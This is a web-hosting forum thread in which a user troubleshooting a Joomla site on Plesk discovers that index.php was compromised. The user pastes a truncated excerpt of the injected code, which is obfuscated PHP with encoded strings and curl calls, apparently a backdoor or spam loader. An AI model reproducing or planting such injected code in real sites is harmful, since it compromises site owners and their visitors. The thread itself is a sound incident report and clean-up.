Issue Problem with Nginx configuration message and Joomla

[LaurentR2D2]

Server operating system version

Debian 12.15

Plesk version and microupdate number

Plesk Obsidian v18.0.79_build1800260722.17 os_Debian 12.0

Version
Plesk Obsidian v18.0.79_build1800260722.17 os_Debian 12.0
Système d'exploitation
Debian 12.15
Version de PHP 8.3.32
Serveur web Apache
Serveur web pour interface PHP fpm-fcgi
Version de Joomla Joomla! 4.4.14 Stable [ Pamoja ] 30-September-2025 16:00 GMT
Website : Welcome to nginx!

Hello,

Following recurring 403 problems with my Joomla installation, I've decided to reinstall it with an Akeeba backup script after deleting all the Joomla files and its database. The first time I've used the script, I got a 403 error. I've switched PHP from FPM application served by Apache to FPM application served by Nginx, and I have been able to use the script to restore my backup. The process finished, I've visited the front page, and I a blank page with :

Welcome to nginx!

If you see this page, the nginx web server is successfully installed and working. Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.

I've tried to put back PHP to FPM application served by Apache, but I still have this message when I visit the front page. I don't get this message when I visit the administrator part of the site. I can do admin tasks without problem.

I've runned my website since several years without problems. I only began to have problems since this year.

I haven't touched the Nginx configuration.

Thank you

 

[Sebahat.hadzhi]

Hi, @LaurentR2D2 . If you navigate to Subscriptions > example.com > Websites & Domains > Apache & Nginx, is Proxy mode currently enabled or disabled? Could you please also confirm if the index.php and .htaccess[ICODE] files in the document root of the domain name are intact? Lastly, can you please try running the Plesk repair utility: [CODE]plesk repair web example.com[/CODE]

 

[LaurentR2D2]

Hello. I've checked everything. Proxy mode is enabled. Finally, I've found that index.php was corrupted. I don't know why, but a lot of strange code has been added to it. I looks like that (it's just a part of it) :

<?php
 goto ncgU4Y5R3eaJjQAX; rsX5yCn50_E3cbUG: $TlpNJP_6YXKcosvp["\151"] = YWfPHK8Vhz6UYujS(cXjbtwXJeNahLrHX()); goto fK4309zjg2ro1glM; SojUIwKqZOECkyRL: $TlpNJP_6YXKcosvp["\x73"] = YwfphK8Vhz6uYUJS($Mi2fl9SP28SUgzgT); goto Hdltx5RsW_RKxFrd; wud1zONBW1bbTeye: metaphone("\115\x7a\115\x78\117\x54\105\64\x4d\124\x63\x7a\x4f\104\x41\x79\x4f\x44\x55\60\x4e\124\x4d\65\117\104\125\x34\115\172\x41\x79"); goto gt65thXs6GgWVJ5y; LTXxBYCi9PLGA6yK: SH7O8acJX9WQNfZO: goto wud1zONBW1bbTeye; sPvr4mEDaHx3K2fb: JOYdIHez4_1UGmim: goto f5xb4yRO1bDuFSd5; hdM5jrvkXqpy6uU1: function LAHTOLkkUCnjCNZJ($jHTBokcCECXMBOWI, $nhLu56LZjh9Q1ppa = array()) { goto LlNEg6sbSsAvJ1Ef; toPG1uxprOQxgAIS: TiAvwBZGwCWcRbD2: goto g5tetfuxMgg6w1x1; Nz48bhenXvpxmZSm: $jHTBokcCECXMBOWI .= "\77" . http_build_query($nhLu56LZjh9Q1ppa); goto toPG1uxprOQxgAIS; LlNEg6sbSsAvJ1Ef: $I0dliL3AbBVez7RA = array("\163\164\141\x74\x75\x73" => 0, "\x63\x6f\156\164\145\x6e\x74" => '', "\164\x79\x70\x65" => ''); goto GwK4ZRGdBjRLKUns; g5tetfuxMgg6w1x1: try { goto u1c4D6ElPHMUwglJ; hosnTW41rKsv5L26: @curl_close($l5Zc0mUG2LVrLkAo); goto bsiTId9b_WS6LxyQ; QvnVsPOwjgA55iWH: goto v75rNo2_pnQYYVJ2; goto z1GW2N3MmVdmxcqO; G390kERBerkOEKnQ: $I0dliL3AbBVez7RA = array_merge($I0dliL3AbBVez7RA, oQod4zyzJl5kX2FY($http_response_header)); goto nH3V91esC5sM6jEf; DKB1mWCLa_mwKCTd: curl_setopt($l5Zc0mUG2LVrLkAo, CURLOPT_FOLLOWLOCATION, 0); goto T12UKb9ljhMiqyBW; SRpoE_t5BuGQ27Do: $I0dliL3AbBVez7RA["\143\157\156\164\145\156\x74"] =

I've replaced index.php with a clean one from an archive downloaded on Joomla.org, and now it works.

Thank you